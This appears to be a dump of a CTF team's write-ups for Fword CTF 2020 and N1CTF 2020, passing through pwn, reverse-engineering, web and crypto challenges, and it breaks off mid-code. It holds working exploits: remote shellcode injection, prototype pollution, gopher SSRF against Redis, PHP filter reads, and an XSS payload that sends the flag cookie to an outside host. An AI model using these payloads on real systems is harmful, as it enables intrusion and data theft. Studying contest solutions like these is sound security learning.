4 | @app.route('/index.html') 5 | def hello_world(): 6 | r = """ 7 | 8 | 9 | 22 | 24 | 27 | 28 | 29 | """ 30 | 31 | return r,{"Content-Disposition":'attachment; filename="wtf22.html"'} 32 | 33 | if(__name__=="__main__"): 34 | app.run("0.0.0.0",4000) 35 | 36 | #How to solve: 37 | # 1. Host this somewhere 38 | # 2. Enter url of `index.html` to the bot, Then chrome will download file as wtf22.html and will save it in Downloads folder. 39 | # 3. Then send this url of saved file to bot: "file:///home/user/Downloads/wtf22.html" 40 | # 4. Flag will be sent to https://webhook.site/X 41 | -------------------------------------------------------------------------------- /2020/Fword CTF 2020/README.md: -------------------------------------------------------------------------------- 1 | # FwordCTF 2020 (Online) 2 | 3 | * 29.08.2020 17:00 UTC ~ 30.08.2020 17:00 UTC 4 | [Official URL]: (https://ctf.fword.wtf/) 5 | [Event Organizers]: (https://ctftime.org/team/72251/) 6 | --- 7 | We finally ranked in #5 8 | * Rank : #5 9 | * CTF points : 16622.000 10 | 11 | ![rank.PNG](./static/rank.PNG) 12 | -------------------------------------------------------------------------------- /2020/Fword CTF 2020/pwn/One piece Remake/README.md: -------------------------------------------------------------------------------- 1 | # One Piece Remake 2 | 3 | ## Analysis 4 | The vulnerability looks pretty simple. 5 | 6 | ```c 7 | menu(); 8 | while ( 1 ) 9 | { 10 | while ( 1 ) 11 | { 12 | printf("(menu)>>"); 13 | fgets(&s, 15, stdin); 14 | if ( strcmp(&s, "read\n") ) 15 | break; 16 | readSC(); 17 | } 18 | if ( !strcmp(&s, "run\n") ) 19 | { 20 | runSC(); 21 | } 22 | else if ( !strcmp(&s, "gomugomunomi\n") ) 23 | { 24 | mugiwara(); 25 | } 26 | else 27 | { 28 | if ( !strcmp(&s, "exit\n") ) 29 | exit(1); 30 | puts("can you even read ?!"); 31 | } 32 | } 33 | ``` 34 | 35 | We can input the shellcode to memory just use readSC() function. 36 | And execute the shellcode which wrote by us to memory just use runSC() function. 37 | 38 | However, the size of memory does not seem to be enough. 39 | So we need to think differently, there is format string bug in mugiwara() function, but we don't need to use this vulnerability. 40 | 41 | We can spray shellcodes through the mugiwara() function. 42 | 43 | ```c 44 | int mugiwara() 45 | { 46 | char buf; // [sp+Ch] [bp-6Ch]@1 47 | 48 | puts("what's your name pirate ?"); 49 | printf(">>"); 50 | read(0, &buf, 0x64u); 51 | printf(&buf); 52 | return 0; 53 | } 54 | ``` 55 | 56 | Thus, we just spray shellcodes through the mugiwara() function, and just jump to this relative offsets. 57 | But, some memory pointers overwrite our intact shellcodes, so our shellcode will be corrupted by stack unwinding. 58 | We can use only 16 bytes for shellcoding, I just use instructions for storing values to specific memory and just increseaing our esp register, and retn. 59 | 60 | ``` 61 | 0: 83 ec 60 sub esp,0x60 62 | 3: ff e4 jmp esp 63 | ``` 64 | 65 | We can use this two instructions for execute our shellcodes which are smaller than 16 bytes. 66 | And finally we can write 4 bytes to specific addresses. 67 | 68 | ``` 69 | 5: b8 11 22 33 44 mov eax,0x44332211 70 | a: c7 00 aa bb cc dd mov DWORD PTR [eax],0xddccbbaa 71 | 10: 83 c4 60 add esp,0x60 72 | 13: c3 ret 73 | ``` 74 | 75 | And, there is no NX mitigations, we may execute the shellcodes on bss sections. 76 | Finally, i wrote all of my shellcodes to bss section, and finally jumped to my shellcode safely. 77 | 78 | ```python 79 | from pwn import * 80 | 81 | def pad_shellcode(shellcode): 82 | if len(shellcode) % 4 != 0: 83 | shellcode += ("\x90" * (4 - (len(shellcode) % 4))) 84 | return shellcode 85 | 86 | def write_4_bytes_to_address(address, codes): 87 | p.recvuntil("(menu)>>") 88 | p.sendline("read") 89 | p.recvuntil(">>") 90 | p.send("\x83\xec\x60\xff\xe4") 91 | p.recvuntil("(menu)>>") 92 | p.sendline("gomugomunomi") 93 | p.recvuntil(">>") 94 | payload = "\xb8" + p32(address) 95 | payload += "\xc7\x00" + codes 96 | payload += "\x83\xc4\x60" 97 | payload += "\xc3" 98 | p.send(payload) 99 | p.recvuntil("(menu)>>") 100 | p.sendline("run") 101 | 102 | def execute_shell(): 103 | p.recvuntil("(menu)>>") 104 | p.sendline("read") 105 | p.recvuntil(">>") 106 | p.send("\x83\xec\x60\xff\xe4") 107 | p.recvuntil("(menu)>>") 108 | p.sendline("gomugomunomi") 109 | p.recvuntil(">>") 110 | payload = "\xb8\x48\xa0\x04\x08" 111 | payload += "\xff\xd0" 112 | p.send(payload) 113 | p.recvuntil("(menu)>>") 114 | p.sendline("run") 115 | 116 | sub_esp = "\x81\xec\x00\x02\x00\x00" 117 | shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" 118 | shellcode = pad_shellcode(shellcode) 119 | 120 | #p = process("./one_piece_remake") 121 | p = remote("onepiece.fword.wtf", 1236) 122 | for i in range(0, len(shellcode), 4): 123 | write_4_bytes_to_address(0x0804a048 + i, shellcode[i:i+4]) 124 | 125 | execute_shell() 126 | p.interactive() 127 | ``` 128 | 129 | Flag : FwordCTF{i_4m_G0inG_t0_B3coM3_th3_p1r4Te_K1NG} -------------------------------------------------------------------------------- /2020/Fword CTF 2020/rev/Auto/README.md: -------------------------------------------------------------------------------- 1 | # Auto - 28 Solves 2 | 3 | ## Analysis 4 | This compressed 7z file consists of more than hundreds files, there are 400 binaries in file. 5 | Each file in 7z compressed file internal codes just like this. 6 | 7 | ```c 8 | v9 = 10 * (v5[v8 - 2] - 48) + v7; 9 | LODWORD(v10) = sub_10C0(v5); 10 | sub_10F0(v13, "./out%03d %s", (unsigned int)(v9 + v5[v10 - 1] - 48 + 1), v12 + 2); 11 | if ( (*v12 + 496 + v12[1]) >> 1 != 331 || *v12 + (char)(*v12 ^ v12[1]) != 92 || *v12 * v12[1] != 6880 ) 12 | { 13 | sub_10B0("NOOOOOOOOOOOOOOOOOOOO"); 14 | result = 0; 15 | } 16 | else 17 | { 18 | LODWORD(v11) = sub_10C0(v12); 19 | ``` 20 | 21 | sub_10F0 is just for sprintf function, this code generates the name of next file of this current executed binary, and there are almost same codes in 400 binaries. 22 | Thus, if we can extract the calculated variables of each files, such as 406. 1. 331. 02. 6880 based on above code snippets. 23 | We can calculate the password key which used for executing next corrected binaries without angr framework. 24 | 25 | For solve these equations, i just use the SMT Solver library like 'z3'. I extracted values for these equations from all binaries. 26 | 27 | ```python 28 | import struct 29 | from z3 import * 30 | 31 | u32 = lambda x: struct.unpack("> shift_value) == cmp_value) 53 | s.add(((x + (x ^ y)) & 0xff) == cmp_value_2) 54 | s.add((x * y) == cmp_value_3) 55 | s.add(x >= 0x30) 56 | s.add(x <= 0x122) 57 | s.add(y >= 0x30) 58 | s.add(y <= 0x122) 59 | s.check() 60 | m = s.model() 61 | return chr(m[x].as_long()) + chr(m[y].as_long()) 62 | 63 | result = "" 64 | for i in range(0, 400): 65 | filename = "./out{0:03d}".format(i) 66 | result_ = parse_from_file(filename) 67 | print("%s => %s" % (filename, result_)) 68 | result += result_ 69 | print(result) 70 | ``` 71 | 72 | Flag : FwordCTF{4r3_Y0u_4_r0b0t} -------------------------------------------------------------------------------- /2020/Fword CTF 2020/rev/Welcome Reverser/README.md: -------------------------------------------------------------------------------- 1 | # Welcome Pwner - 107 solves 2 | 3 | ## Analysis 4 | 5 | I always have a habit, using the 6 | ```bash 7 | pwn checksec --file ./binary 8 | ``` 9 | command (or if think differently, this is old conventions of almost pwners) 10 | Anyway, we can see this result (In below code snippets) 11 | ```bash 12 | yeon@sqrtrev:~$ pwn checksec --file ./welcome 13 | [*] '/home/yeon/welcome' 14 | Arch: amd64-64-little 15 | RELRO: Full RELRO 16 | Stack: Canary found 17 | NX: NX enabled 18 | PIE: PIE enabled 19 | yeon@sqrtrev:~$ 20 | ``` 21 | 22 | There are a lot of memory mitigations were used. But, we just debug reverse engineering challenge, not pwning challenge. 23 | Thus, we don't need to consider this mitigations. 24 | But to explain one interesting technique, we can debug binaries which used PIE (Position Independent Executable) just using GDB, we don't need to use IDA remote debugger. 25 | 26 | ```bash 27 | gdb-peda$ b *0x0 28 | Breakpoint 1 at 0x0 29 | gdb-peda$ r 30 | Starting program: /home/yeon/welcome 31 | Warning: 32 | Cannot insert breakpoint 1. 33 | Cannot access memory at address 0x0 34 | 35 | gdb-peda$ i b 36 | Num Type Disp Enb Address What 37 | 1 breakpoint keep y 0x0000000000000000 38 | gdb-peda$ del 1 39 | gdb-peda$ x/3i $pc 40 | => 0x7ffff7dd6090: mov rdi,rsp 41 | 0x7ffff7dd6093: call 0x7ffff7dd6ea0 42 | 0x7ffff7dd6098: mov r12,rax 43 | gdb-peda$ 44 | ``` 45 | If you set a breakpoint to address 0x0, and continue to run. The application started and GDB will prints 'Cannot access memory at address 0x0'. 46 | This message is just warning message, not error message. Thus, this application executed normally but stopped at application loaded point. 47 | 48 | ```bash 49 | Breakpoint 2, 0x00007ffff7dd60d4 in ?? () 50 | gdb-peda$ x/3i $pc 51 | => 0x7ffff7dd60d4: jmp r12 52 | 0x7ffff7dd60d7: nop WORD PTR [rax+rax*1+0x0] 53 | 0x7ffff7dd60e0: add DWORD PTR [rdi+0x4],0x1 54 | gdb-peda$ 55 | ``` 56 | 57 | And, we can see an assembly gadget, 'jmp r12'. Its r12 gadget have an address for entry point of ELF binaries. 58 | 59 | ```bash 60 | gdb-peda$ x/20i $r12 61 | => 0x555555555160: endbr64 62 | 0x555555555164: xor ebp,ebp 63 | 0x555555555166: mov r9,rdx 64 | 0x555555555169: pop rsi 65 | 0x55555555516a: mov rdx,rsp 66 | 0x55555555516d: and rsp,0xfffffffffffffff0 67 | 0x555555555171: push rax 68 | 0x555555555172: push rsp 69 | 0x555555555173: lea r8,[rip+0x586] # 0x555555555700 70 | 0x55555555517a: lea rcx,[rip+0x50f] # 0x555555555690 71 | 0x555555555181: lea rdi,[rip+0x409] # 0x555555555591 72 | 0x555555555188: call QWORD PTR [rip+0x2e52] # 0x555555557fe0 73 | 0x55555555518e: hlt 74 | 0x55555555518f: nop 75 | 0x555555555190: lea rdi,[rip+0x2e79] # 0x555555558010 76 | 0x555555555197: lea rax,[rip+0x2e72] # 0x555555558010 77 | 0x55555555519e: cmp rax,rdi 78 | 0x5555555551a1: je 0x5555555551b8 79 | 0x5555555551a3: mov rax,QWORD PTR [rip+0x2e2e] # 0x555555557fd8 80 | 0x5555555551aa: test rax,rax 81 | gdb-peda$ x/10i 0x555555555591 82 | 0x555555555591: endbr64 83 | 0x555555555595: push rbp 84 | 0x555555555596: mov rbp,rsp 85 | 0x555555555599: sub rsp,0x20 86 | 0x55555555559d: mov DWORD PTR [rbp-0x14],edi 87 | 0x5555555555a0: mov QWORD PTR [rbp-0x20],rsi 88 | 0x5555555555a4: mov eax,0x0 89 | 0x5555555555a9: call 0x555555555249 90 | 0x5555555555ae: mov edi,0x10 91 | 0x5555555555b3: call 0x555555555110 92 | gdb-peda$ 93 | ``` 94 | 95 | We can find the main function, just by tracking the arguments. 96 | 97 | ```c 98 | __asm { rep nop edx } 99 | v9 = a3; 100 | sub_1249(a4); 101 | LODWORD(v4) = sub_1110(16LL); 102 | v8 = v4; 103 | sub_10D0("Hello give me the secret number so i can get the flag:"); 104 | sub_1140("%s", v8); 105 | if ( sub_1335(v8) ) 106 | { 107 | LODWORD(v5) = sub_10E0(v8); 108 | if ( v5 == 16 ) 109 | { 110 | v6 = sub_1391(v8); 111 | if ( !((v6 + sub_1421(v8)) % 10) ) 112 | { 113 | sub_12AE(); 114 | return 0LL; 115 | } 116 | sub_10D0("no thats not my number:("); 117 | } 118 | } 119 | sub_10D0("no Flag for u"); 120 | ``` 121 | 122 | In IDA disassembler, both the function names and the PLT names were stripped. 123 | So we should guess the function names, just like sub_1110 is malloc(). 124 | 125 | I guessed the function names. 126 | ``` 127 | sub_1249() : init function for setvbuf 128 | sub_1120() : setvbuf 129 | sub_1110() : malloc 130 | sub_10D0() : puts 131 | sub_1140() : scanf 132 | sub_10E0() : strlen 133 | ``` 134 | 135 | There are two key point functions, sub_1391(), sub_1421(), sub_12AE() 136 | sub_12AE() is the function for printing contents of flag.txt 137 | Thus, we need to make addition of outputs from calculations by sub_1391() and sub_1421() to multiples of 10. 138 | 139 | We don't need to consider the outputs of these two functions. 140 | 141 | ```c 142 | for ( i = 0; ; i = 4 - (i ^ 2) + 2 * (i & 0xFFFFFFFD) ) 143 | { 144 | LODWORD(v1) = sub_10E0(a1); 145 | if ( (signed int)i >= v1 ) 146 | break; 147 | v4 = 2 * (*(_BYTE *)((signed int)i + a1) - 48); 148 | if ( (signed int)(3 * (~v4 & 0xFFFFFFF7) + 2 * ~(v4 ^ 0xFFFFFFF7) + 3 * (v4 & 8) - 2 * ~(v4 & 0xFFFFFFF7)) > 0 ) 149 | v4 = (v4 % 10 ^ v4 / 10) + 2 * (v4 % 10 & v4 / 10); 150 | v3 += v4; 151 | } 152 | ``` 153 | 154 | This is sub_1421 function, the i variable will be changed to 0, 2, 4, 6, ... 155 | 156 | ```c 157 | for ( i = 1; ; i += 2 ) 158 | { 159 | LODWORD(v1) = sub_10E0(a1); 160 | if ( i >= v1 ) 161 | break; 162 | v3 = (v3 ^ (*(_BYTE *)(i + a1) - 48)) + 2 * (~v3 | (*(_BYTE *)(i + a1) - 48)) - 2 * ~v3; 163 | } 164 | ``` 165 | 166 | And this is sub_1391 function, the i variable will be changed to 1, 3, 5, 7, ... 167 | Thus, we just assume one randomized string only consists of numerical characters, such as '1111222233334444'. Then, we just replace one character to other numerical characters. 168 | 169 | ```yeon@sqrtrev:~$ ./welcome 170 | Hello give me the secret number so i can get the flag: 171 | 1111222233334444 172 | hello flag flag flag 173 | 174 | yeon@sqrtrev:~$ ./welcome 175 | Hello give me the secret number so i can get the flag: 176 | 1111222233334445 177 | no thats not my number:( 178 | no Flag for u 179 | yeon@sqrtrev:~$ 180 | ``` 181 | 182 | Flag : 183 | ``` 184 | FwordCTF{luhn!_wh4t_a_w31rd_n4m3} 185 | ``` -------------------------------------------------------------------------------- /2020/Fword CTF 2020/static/rank.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Fword CTF 2020/static/rank.PNG -------------------------------------------------------------------------------- /2020/Fword CTF 2020/web/Buried/README.md: -------------------------------------------------------------------------------- 1 | ## Buried(9 solves, second blood) 2 | 3 | ``` 4 | Flag in flag.php. 5 | 6 | link 7 | 8 | Author: HERA 9 | ``` 10 | 11 | ```php 12 | '); 36 | include($file); 37 | 38 | }else{ 39 | die("How dare u!"); 40 | } 41 | }else{ 42 | die("How dare u!"); 43 | } 44 | 45 | }else{ 46 | die("How dare u!"); 47 | } 48 | 49 | 50 | }else{ 51 | die("How dare u!"); 52 | } 53 | 54 | 55 | }else{ 56 | die("How dare u!"); 57 | } 58 | 59 | }else{ 60 | die("How dare u!"); 61 | } 62 | }else{ 63 | die("How dare u!"); 64 | } 65 | 66 | ?> 67 | ``` 68 | 69 | As we can use `a-zA-Z$_;`, I'll try something fun. 70 | 71 | And, if we check `phpinfo()`, All the functions were disabled. 72 | 73 | The thing we have to know is `$_GET` or `$_POST` is treating as an array in php. So, we can use `foreach` with `$_GET`. But we need to bypass `if (sizeof($_REQUEST)===1 && sizeof($_POST)===1)`. How? 74 | 75 | ```php 76 | $file="./files/".rand().'.php'; 77 | file_put_contents($file,''); 78 | ``` 79 | 80 | As the file written in `./files` directory, I can access directly. So, this one will be a method of bypass. 81 | 82 | And, I can also leak whole path via `__FILE__`. 83 | 84 | So, the payload of mine was 85 | 86 | ```php 87 | cmd=echo __FILE__;foreach($_GET as $key => $value) include $value; 88 | ``` 89 | 90 | I used `include` for getting file contents. We need to use `php wrapper` because all the functions of PHP were disabled. So, the final payload will be like this 91 | 92 | ``` 93 | http://buried.fword.wtf/files/530964126.php?asd=php://filter/convert.base64-encode/resource=../flag.php 94 | ``` 95 | 96 | 97 | 98 | This is unintended solution. Intended one was lua exploit. -------------------------------------------------------------------------------- /2020/Fword CTF 2020/web/Otaku/README.md: -------------------------------------------------------------------------------- 1 | ## Okatu(8 solves, first blood) 2 | 3 | Author: sqrtrev 4 | 5 | (Solved by Jazzy, I just made an idea) 6 | 7 | ``` 8 | Javascript is fun too, well everything becomes fun when it's merged with Anime! 9 | 10 | Flag is in /flag.txt 11 | 12 | LINK 13 | 14 | Author: _**KAHLA**_ 15 | ``` 16 | 17 | check the part `app.post` for `/update`. 18 | 19 | ```js 20 | app.post("/update",(req,res)=>{ 21 | try{ 22 | if(req.session.username && req.session.anime){ 23 | if(req.body.username && req.body.anime){ 24 | var query=JSON.parse(`{"$set":{"username":"${req.body.username}","anime":"${req.body.anime}"}}`); 25 | client.connect((err)=>{ 26 | if (err) return res.render("update",{error:"An unknown error has occured"}); 27 | const db=client.db("kimetsu"); 28 | const collection=db.collection("users"); 29 | collection.findOne({"username":req.body.username},(err,result)=>{ 30 | if (err) {return res.render("update",{error:"An unknown error has occured"});console.log(err);} 31 | if (result) return res.render("update",{error:"This username already exists, Please use another one"});}); 32 | collection.findOneAndUpdate({"username":req.session.username},query,{ returnOriginal: false },(err,result)=>{ 33 | if (err) return res.render("update",{error:"An unknown error has occured"}); 34 | var newUser={}; 35 | var attrs=Object.keys(result.value); 36 | attrs.forEach((key)=>{ 37 | newUser[key.trim()]=result.value[key]; 38 | if(key.trim()==="isAdmin"){ 39 | newUser["isAdmin"]=0; 40 | } 41 | }); 42 | req.session.username=newUser.username; 43 | req.session.anime=newUser.anime; 44 | req.session.isAdmin=newUser.isAdmin; 45 | req.session.save(); 46 | return res.render("update",{error:"Updated Successfully"}); 47 | }); 48 | }); 49 | 50 | } 51 | else return res.render("update",{error:"An unknown error has occured"}); 52 | } 53 | else res.redirect(302,"/login"); 54 | } 55 | catch(err){ 56 | console.log(err); 57 | } 58 | }); 59 | ``` 60 | 61 | We can realize the vulnerability `Prototype Pollution` easily in this part, 62 | 63 | ```js 64 | var query=JSON.parse(`{"$set":{"username":"${req.body.username}","anime":"${req.body.anime}"}}`); 65 | 66 | /... skip .../ 67 | 68 | var newUser={}; 69 | var attrs=Object.keys(result.value); 70 | attrs.forEach((key)=>{ 71 | newUser[key.trim()]=result.value[key]; 72 | if(key.trim()==="isAdmin"){ 73 | newUser["isAdmin"]=0; 74 | } 75 | }); 76 | ``` 77 | 78 | We can injection something for `Prototype Pollution` on `JSON.parse` part. 79 | 80 | So, The payload will be like this 81 | 82 | ``` 83 | username=fboi", "__proto__ ":{"isAdmin":1}, "kms":"lms&anime=fboi 84 | ``` 85 | 86 | This will make the JSON object like this 87 | 88 | ```json 89 | {"$set":{"username":"fboi", "__proto__ ":{"isAdmin":1}, "kms":"lms","anime":"fboi"}} 90 | ``` 91 | 92 | Of course, this will lead me for being admin by `Prototype Pollution`. 93 | 94 | After having admin permission, we can do some acts with below code. 95 | 96 | ```js 97 | app.post("/admin",(req,res)=>{ 98 | if(req.session.isAdmin){ 99 | var envName=req.body.envname; 100 | var env=req.body.env; 101 | var path=req.body.path; 102 | if(env && envName && path){ 103 | if(path.includes("app.js") || path.includes("-")) return res.render("admin",{msg:"Not allowed"}); 104 | process.env[envName] = env; 105 | const child = execFile('node', [path], (error, stdout, stderr) => { 106 | if (error) { 107 | console.log(error); 108 | return res.render("admin",{msg:"An error has occured"}); 109 | } 110 | return res.render("admin",{msg:stdout}); 111 | }); 112 | } 113 | else res.redirect(302,"/home"); 114 | } 115 | else res.redirect(302,"/home"); 116 | }) 117 | ``` 118 | 119 | We will use node options for leaking flag.txt. 120 | 121 | Node.js has the option `--report-filename` and `--report-uncaught-exception`. So, I'll use this. 122 | 123 | As we don't know the location of application directory, I used `/proc/self/cwd`. And `/static` folder will be very helpful(We can access there!). 124 | 125 | Following this, the payload will be: 126 | 127 | ``` 128 | envname=NODE_OPTIONS&env=--report-filename=/proc/self/cwd/static/js/siceme --report-uncaught-exception -r /flag.txt&path=config.js 129 | ``` 130 | 131 | So, the flag will be `http://url/static/js/siceme`. 132 | 133 | -------------------------------------------------------------------------------- /2020/Fword CTF 2020/web/pastaxss/README.md: -------------------------------------------------------------------------------- 1 | # PastaXSS - 5 solves 2 | 3 | ## Information 4 | 5 | The task was provided with source code and had many php files but here are important stuff. 6 | ### Markdown in jutsus description 7 | 8 | The code that implemented markdown used `htmlspecialchars` with `redis` for caching and [knp-markdown-bundle](https://github.com/KnpLabs/KnpMarkdownBundle) as markdown conversion. 9 | 10 | ![writeup1](imgs/writeup1.png) 11 | ### Redis 12 | `redis` is used for caching jutsu descriptions and it's address was `redis://redis`. 13 | 14 | All jutsus had id, And each jutsu, has it's description in cache with following format. 15 | 16 | `jutsu(jutsuID)` 17 | 18 | ### CURL 19 | Also There was functionality in challenge that let us to import jutsu with curl. 20 | 21 | ![writeup2](imgs/writeup2.png) 22 | 23 | ### Report to admin bot 24 | 25 | We could send our jutsu link to admin bot and he would visit it with flag in his cookies. 26 | 27 | The bot was implemented with `PhantomJS` and was only accepting urls that match following regex. 28 | 29 | `/^http://web1.fword.wtf/jutsu/\d*$/` 30 | 31 | ## Part 1 - Gopher 32 | 33 | Gopher is so useful for SSRF attacks and lets you to attack some juicy stuff like [databases](https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/) or [uWSGI servers](https://zaratec.github.io/2018/12/20/rwctf2018-magic-tunnel/). 34 | 35 | Gopher is going to help us much for exploiting `redis`. 36 | 37 | ## Part 1 - Exploit redis with SSRF 38 | 39 | There was blacklist filtering that prevented us from using `file` and few other things. 40 | 41 | 42 | fortunately `redis` hostname was not filtered so we could communicate with it. 43 | 44 | Executing commands on `redis` with `gopher`, is easier than it sounds like. The following principle worked for this SSRF attack. 45 | 46 | ` curl 'gopher://redis:6379/_urlencode(command)'` 47 | 48 | So we could grab all keys with this url. 49 | 50 | `gopher://redis:6379/_KEYS%20%2A` 51 | 52 | Which resulted to: 53 | 54 | ![writeup3](imgs/writeup3.png) 55 | 56 | ## Part 2 - Change our jutsu description with SSRF 57 | 58 | So lets try to change our jutsu description with SSRF to redis. 59 | 60 | We know that our jutsu description is in cache and also we have it's name. All jutsus that set in redis from php are prefixed with `yLAP6wFwIy:`, which i guess it's for namespacing. 61 | 62 | We could like grab our jutsu 5598 description with this url: 63 | 64 | `gopher://redis:6379/_GET%20yLAP6wFwIy%3Ajutsu5598` 65 | 66 | Which result to 67 | 68 | `$24 s:16:"

sdfsdfsf

";` 69 | 70 | This is our php serialized jutsu description after conversion to markdown. what we set here won't go though `htmlspecialchars` and markdown conversion xD. 71 | 72 | So to change jutsu's description to something like `itworked`, we should set `yLAP6wFwIy:jutsu5598` to php serialized format of `itworked` which is `s:8:"itworked";`. 73 | 74 | This url would do the job. 75 | 76 | `gopher://redis:6379/_SET%20yLAP6wFwIy%3Ajutsu5598%20%27s%3A8%3A%22itworked%22%3B%27` 77 | 78 | > We can wrap our set value in quotes or single quotes to avoid some parsing problems. 79 | 80 | ### part 3 - XSS in jutsu 81 | 82 | So we can inject description in our jutsu and bypass `htmlspecialchars`. The next step would be put xss payload in our jutsu's description and report it to admin and grab flag. 83 | 84 | We used following url to put payload in our jutsu. 85 | 86 | `gopher://redis:6379/_SET%20yLAP6wFwIy%3Ajutsu5598%20%27s%3A81%3A%22%3Cscript%20src%3D%22URL%22%3E%3C%2Fscript%3E%22%3B%27` 87 | 88 | And we put `document.location="https://yourwebsite/?a="+flag` in our embedded script. 89 | 90 | Reported our jutsu to admin, And we got the flag. 91 | 92 | >FLAG: FwordCTF{Y0u_Only_h4vE_T0_cH4in_4nd_Th1nk_w3ll} 93 | 94 | Thanks to my amazing teammates and ctf authors. 95 | -------------------------------------------------------------------------------- /2020/Fword CTF 2020/web/pastaxss/imgs/writeup1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Fword CTF 2020/web/pastaxss/imgs/writeup1.png -------------------------------------------------------------------------------- /2020/Fword CTF 2020/web/pastaxss/imgs/writeup2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Fword CTF 2020/web/pastaxss/imgs/writeup2.png -------------------------------------------------------------------------------- /2020/Fword CTF 2020/web/pastaxss/imgs/writeup3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Fword CTF 2020/web/pastaxss/imgs/writeup3.png -------------------------------------------------------------------------------- /2020/N1CTF 2020/crypto/BabyProof/README.md: -------------------------------------------------------------------------------- 1 | ## BabyProof 2 | 3 | ```python 4 | from hashlib import sha256 5 | 6 | from Crypto.Util.number import getRandomRange 7 | from Crypto.PublicKey import DSA 8 | 9 | from secret import proof_of_work, flag 10 | 11 | 12 | x = int.from_bytes(flag, 'big') 13 | assert x.bit_length() == 247 14 | 15 | 16 | def baby_proof(): 17 | key = DSA.generate(3072) # It takes time to generate, plz be patient... 18 | p, q, g = key.domain() 19 | y = pow(g, x, p) 20 | 21 | v = getRandomRange(1, x) 22 | t = pow(g, v, p) 23 | 24 | gyt = b"".join( 25 | map( 26 | lambda x: int.to_bytes(len(str(x)), 4, 'big') + str(x).encode(), 27 | (g, y, t) 28 | )) 29 | c = int.from_bytes(sha256(gyt).digest(), 'big') 30 | r = (v - c*x) % q 31 | 32 | print("I want to prove to you that I am in the knowledge of the discrete " 33 | "logarithm x that satisfies g^x = y modulo p, with the order of g " 34 | "modulo p being q.") 35 | print("However, I don't want to leak any information about x.") 36 | print("So, I use a non-interactive zero-knowledge proof for my purpose.") 37 | print("=================================================================") 38 | print("Here is my proof: ") 39 | print("Firstly, I choose a random (secret) v and compute t = g^v in Zq.") 40 | print("Secondly, I compute c = SHA256(g, y, t).") 41 | print("Then, I compute r = v - cx modulo q.") 42 | print("Finally, I will send you my proof (t, r).") 43 | print("You can check it by determining whether t == g^r * y^c or not.") 44 | print("Since there's negligible probability that I could forge the value " 45 | "r, you should believe that I really have knowledge of x.") 46 | print(g, y, p, q, t, r, sep="\n") 47 | 48 | 49 | if __name__ == "__main__": 50 | if proof_of_work(): 51 | baby_proof() 52 | ``` 53 | 54 | The key here is that xx is quite small compared to 22562256, and vv is selected in [1,x][1,x]. 55 | 56 | Given the printed parameters, we can directly obtain the value of cc as well. We see that 57 | 58 | ![e1](./e1.PNG) 59 | 60 | Since xx's bit length is 247247, we get 1≤v≤22471≤v≤2247 and can write something like 61 | 62 | ![e2](./e2.PNG) 63 | 64 | This is an instance of Hidden Number Problem, so just gather a lot of these information and solve it. 65 | 66 | ```python 67 | d = 60 ## get 60 instances 68 | M = Matrix(ZZ, d+1, d+1) 69 | for i in range(0, d): 70 | M[0, i] = cs[i] 71 | M[0, d] = 1 72 | for i in range(0, d): 73 | M[i+1, i] = qs[i] 74 | 75 | Target = [0] * (d+1) 76 | for i in range(0, d): 77 | Target[i] = (2 ** 246) - rs[i] 78 | Target[d] = (2 ** 246) 79 | 80 | M = M.LLL() 81 | GG = M.gram_schmidt()[0] 82 | Target = vector(Target) 83 | TT = Babai_closest_vector(M, GG, Target) 84 | 85 | x = TT[d] 86 | print(x) 87 | print(bytes.fromhex(hex(x)[2:])) 88 | ``` 89 | 90 | -------------------------------------------------------------------------------- /2020/N1CTF 2020/crypto/BabyProof/e1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/N1CTF 2020/crypto/BabyProof/e1.PNG -------------------------------------------------------------------------------- /2020/N1CTF 2020/crypto/BabyProof/e2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/N1CTF 2020/crypto/BabyProof/e2.PNG -------------------------------------------------------------------------------- /2020/N1CTF 2020/crypto/FlagBot/README.md: -------------------------------------------------------------------------------- 1 | ## FlagBot 2 | 3 | ```python 4 | from hashlib import sha256 5 | from Crypto.Cipher import AES 6 | from Crypto.Util.number import long_to_bytes, bytes_to_long 7 | from Crypto.Util.Padding import pad, unpad 8 | import base64 9 | from secret import flag 10 | 11 | RECEIVER_NUM = 7 12 | 13 | def generate_safecurve(): 14 | while True: 15 | p = random_prime(2 ^ 256-1, False, 2 ^ 255) 16 | a = randint(-p, p) 17 | b = randint(-p, p) 18 | 19 | if 4*a^3 + 27*b^2 == 0: 20 | continue 21 | 22 | E = EllipticCurve(GF(p), [a, b]) 23 | 24 | fac = list(factor(E.order())) 25 | 26 | # Prevent rho method 27 | if fac[-1][0] < 1 << 80: 28 | continue 29 | 30 | # Prevent transfer 31 | for k in range(1, 20): 32 | if (p ^ k - 1) % fac[-1][0] == 0: 33 | break 34 | else: 35 | return E 36 | 37 | class Sender: 38 | def __init__(self, curves, receivers): 39 | self.secret = randint(1 << 254, 1 << 255) 40 | self.curves = curves 41 | self.receivers = receivers 42 | self.shared_secrets = [None for _ in range(len(receivers))] 43 | 44 | def setup_connections(self): 45 | for idx, receiver in enumerate(self.receivers): 46 | curve = self.curves[idx] 47 | print(f"curves[{idx}] : {curve}") 48 | g = self.curves[idx].gens()[0] 49 | print(f"g[{idx}] = {g.xy()}") 50 | receiver.set_curve(curve, g) 51 | public = self.secret * g 52 | print(f"S_pub[{idx}] = {public.xy()}") 53 | yours = receiver.key_exchange(public) 54 | print(f"R_pub[{idx}] = {yours.xy()}") 55 | self.shared_secrets[idx] = yours * self.secret 56 | 57 | def send_secret(self): 58 | msg = b'Hi, here is your flag: ' + flag 59 | for idx, receiver in enumerate(self.receivers): 60 | px = 